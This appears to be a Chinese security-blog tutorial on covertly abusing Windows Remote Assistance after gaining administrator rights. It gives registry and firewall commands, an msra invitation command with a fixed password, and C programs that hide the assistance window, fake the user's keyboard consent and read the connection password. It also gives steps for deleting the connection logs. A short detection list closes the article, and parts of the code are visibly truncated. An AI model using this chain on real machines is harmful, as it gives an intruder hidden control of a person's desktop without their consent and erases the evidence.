滲透技巧——Windows遠程協助的隱蔽執行
安全脈搏獨家發文,如需轉載,請先聯繫授權。
0x00 前言
對於Windows系統,經常會用到遠程桌面服務,通過界面對系統進行遠程管理。
這其中存在一個不足:使用遠程桌面服務進行遠程登錄(使用另一用戶或是踢掉當前用戶),無法獲取到當前用戶的系統狀態。
如果想要查看(甚至是操作)當前用戶的桌面,有什麼好辦法呢?
雖然我們可以通過編寫程序來實現界面操作(捕獲桌面信息,壓縮傳輸,發送滑鼠鍵盤消息等),但是如果能夠使用Windows系統的默認功能,豈不是更好?
答案就是Windows系統的遠程協助。
0x01 簡介
本文將要介紹以下內容:
遠程協助的基本操作
命令行下操作
編寫c++程序隱藏界面,發送鍵盤消息,模擬用戶點擊確認
完整利用流程
檢測方法
0x02 遠程協助的基本操作
①開啟遠程協助功能
`System Properties`->`Remote`
選中`Allow Remote Assistance connections to this computer`,如下圖
②添加防火牆規則,允許遠程協助的通信埠
`Windows Firewall`->`Allowed Programs`
選中`Remote Assistance`,如下圖
③啟動界面程序
運行 ->`msra.exe`
④配置本機為服務端,請求其他人協助
選中`Invite someone you trust to help you`,如下圖
選中`Save this invitation as a file`,如下圖
保存為文件`Invitation.msrcincident`
自動彈出界面,生成一個隨機密碼,記錄該密碼,如下圖
⑤控制端發起遠程連接
控制端運行文件`Invitation.msrcincident`,填入上一步生成的密碼,發起遠程連接
⑥服務端確認連接請求
服務端彈框,需要用戶確認,允許遠程協助,如下圖
選擇Yes,遠程協助成功建立
0x03 命令行下操作
①開啟系統遠程協助
修改註冊表項`HKLMSYSTEMCurrentControlSetControlRemote Assistance`下的鍵值`fAllowToGetHelp`,1代表允許,0代表禁止
REG ADD "HKLMSYSTEMCurrentControlSetControlRemote Assistance" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
②配置防火牆規則,允許遠程協助的通信埠
netsh advfirewall firewall set rule group="Remote Assistance" new enable=Yes
③創建遠程協助文件,後台等待用戶連接
msra /saveasfile c: est1.msrcIncident 123456789012
保存文件路徑為`c: est1.msrcIncident`,連接密碼為`123456789012`
0x04 編寫c程序隱藏界面,發送鍵盤消息,模擬用戶點擊確認
①隱藏msra.exe的界面
獲得窗口句柄,將窗口屬性設置為隱藏
需要注意不同語言的系統中msra.exe的窗口標題不同,例如中文系統的窗口標題為`Windows 遠程協助`,英文系統的窗口標題為`Windows Remote Assistance`
可以先對當前系統語言作判斷,接著尋找對應的窗口標題
為了使界面完全隱藏,需要加入循環判斷,只要找到msra.exe的窗口立即對其隱藏
可供參考的代碼如下:
#include
int main()
{
char *Title = NULL;
LANGID lid = GetSystemDefaultLangID();
printf("[*]LanguageID:0x%04x
",lid);
switch (lid)
{
case 0X0804:
printf("[*]Language:Chinese
",lid);
Title = "Windows 遠程協助";
break;
case 0x0409:
printf("[*]Language:Englisth
",lid);
Title = "Windows Remote Assistance";
break;
}
for(int i=0;i
{
HWND hwnd = FindWindow(NULL, Title);
ShowWindow(hwnd, SW_HIDE);
Sleep(100);
}
}
編譯生成`msra-hide.exe`
②模擬輸入鍵盤消息,左箭頭(
正常情況下,控制端成功輸入密碼後,服務端會彈框提示用戶是否允許遠程協助
這裡通過程序實現模擬用戶輸入,選中`Yes`,對應的鍵盤操作為左箭頭(
代碼如下:
#include
int main()
{
char *Title = NULL;
LANGID lid = GetSystemDefaultLangID();
printf("[*]LanguageID:0x%04x
",lid);
switch (lid)
{
case 0X0804:
printf("[*]Language:Chinese
",lid);
Title = "Windows 遠程協助";
break;
case 0x0409:
printf("[*]Language:Englisth
",lid);
Title = "Windows Remote Assistance";
break;
}
HWND hwnd = FindWindow(NULL, Title);
SetActiveWindow(hwnd);
SetForegroundWindow(hwnd);
SetFocus(hwnd);
keybd_event(37,0,0,0);
keybd_event(37,0,KEYEVENTF_KEYUP,0);
keybd_event(13,0,0,0);
keybd_event(13,0,KEYEVENTF_KEYUP,0);
}
編譯生成`msra-allow.exe`
③擴展:獲得遠程協助窗口的連接密碼
通過枚舉子窗口獲得連接密碼
使用API FindWindow獲得窗口句柄
使用API EnumChildWindows遍歷窗口所有子窗口,獲得密碼內容
API EnumChildWindows會自動枚舉,直至獲得最後一個子窗口或者函數返回0
實際測試發現第二個子窗口保存密碼,所以在獲得密碼後函數返回0提前結束枚舉
代碼如下:
#include
int status = 0;
BOOL CALLBACK EnumMainWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
status++;
if (status == 2)
{
printf("[+]Find Password
");
printf("%s
", BufferContent);
return 0;
}
return 1;
}
int main()
{
char *Title = NULL;
LANGID lid = GetSystemDefaultLangID();
printf("[*]LanguageID:0x%04x
",lid);
switch (lid)
{
case 0X0804:
printf("[*]Language:Chinese
",lid);
Title = "Windows 遠程協助";
break;
case 0x0409:
printf("[*]Language:Englisth
",lid);
Title = "Windows Remote Assistance";
break;
}
HWND hwnd = FindWindow(NULL, Title);
if(hwnd)
{
printf("[+]Find Window
");
EnumChildWindows(hwnd, EnumMainWindow, 0);
}
else
{
printf("[!]No Window
");
}
}
測試如下圖
## 0x05 完整利用流程
①、開啟遠程協助
REG ADD "HKLMSYSTEMCurrentControlSetControlRemote Assistance" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh advfirewall firewall set rule group="Remote Assistance" new enable=Yes
②運行攔截程序msra-hide.exe,隱藏msra窗口
需要管理員許可權
③生成遠程協助邀請文件
msra /saveasfile c: est1.msrcIncident 123456789012
④控制端進行連接
獲得文件`1.msrcIncident`並執行,輸入連接密碼
⑤運行模擬鍵盤輸入程序msra-allow.exe,允許遠程協助
需要管理員許可權
⑥控制端獲得遠程協助的桌面
如下圖
⑦控制端請求獲得服務端的滑鼠操作許可權
在控制界面選擇`請求控制`
⑧再次運行模擬鍵盤輸入程序msra-allow.exe,允許滑鼠操作
需要管理員許可權
控制端成功獲得控制服務端滑鼠
至此,成功獲得目標系統的桌面操作許可權
⑨清除連接記錄
遠程協助的記錄保存位置:`%SystemDrive%Usersuser_nameDocumentsRemote Assistance Logs`
命名規則:`YYYYMMDDHHMMSS.xml`(24小時時間格式)
日誌文件內保存連接時間
## 0x06 檢測方法
本文介紹的方法前提是已經取得了系統的管理員許可權,代表該系統已經被攻破
結合利用思路,可以通過以下方法檢測:
-註冊表`HKLMSYSTEMCurrentControlSetControlRemote Assistance`鍵值被修改
防火牆規則被修改
啟動進程msra.exe
生成新文件夾`%SystemDrive%Usersuser_nameDocumentsRemote Assistance Logs`
開放的異常埠
## 0x07 小結
本文對Windows遠程協助的功能進行了介紹,編寫程序實現Windows遠程協助的隱蔽執行,結合利用思路給出檢測方法。


TAG:SecPulse安全脈搏 |